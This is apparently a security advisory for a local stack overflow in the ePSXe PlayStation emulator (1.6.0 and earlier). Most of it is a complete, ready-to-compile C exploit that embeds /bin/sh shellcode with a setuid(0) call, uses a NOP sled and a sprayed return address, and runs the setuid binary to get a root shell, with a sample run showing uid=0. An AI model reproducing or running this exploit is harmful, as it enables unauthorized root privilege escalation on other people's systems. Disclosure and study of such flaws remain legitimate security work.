ePSXe Local Stack Overflow (Exploit)Summary
ePSXe is "a PSX(Sony PlayStation) emulator for Linux". The following exploit code will use a locally exploitable stack overflow in ePSXe to gain root privileges on systems that have the setuid bit set on the ePSXe program.
Credit:
The information has been provided by Qnix.
Details
Vulnerable Systems:
* ePSXe emulator version 1.6.0 and prior
Exploit:
/* epsxe-e.c
ePSXe v1.* local exploit
By: Qnix
e-mail: q-nix[at]hotmail[dot]com
ePSXe-website: www.epsxe.com
EXP-Sample:
root@Qnix:~/epsxe# gcc -o epsxe-e epsxe-e.c
root@Qnix:~/epsxe# ./epsxe-e
*************************************
ePSXe v1.* local exploit
by
Qnix | Q-nix[at]hotmail[dot]com
*************************************
[~] Stack pointer (ESP) : 0xbffff568
[~] Offset from ESP : 0x0
[~] Desired Return Addr : 0xbffff568
* Running ePSXe emulator version 1.6.0.
* Memory handlers init.
sh-2.05b# id
uid=0(root) gid=0(root)
groups=0(root), 1(bin), 2(daemon), 3(sys), 4(adm), 6(disk), 10(wheel), 11(floppy)
*/
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
unsigned long sp(void)
{ __asm__("movl %esp, %eax");}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
printf("\n ************************************* \n");
printf(" ePSXe v1.* local exploit \n");
printf(" by \n");
printf(" Qnix | Q-nix[at]hotmail[dot]com ");
printf("\n ************************************* \n\n");
printf("[~] Stack pointer (ESP) : 0x%x\n", esp);
printf("[~] Offset from ESP : 0x%x\n", offset);
printf("[~] Desired Return Addr : 0x%x\n\n", ret);
buffer = malloc(600);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }
for(i=0; i < 200; i++)
{ buffer[i] = '\x90'; }
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
buffer[600-1] = 0;
execl("./epsxe", "epsxe", "-nogui", buffer, 0);
free(buffer);
return 0;
}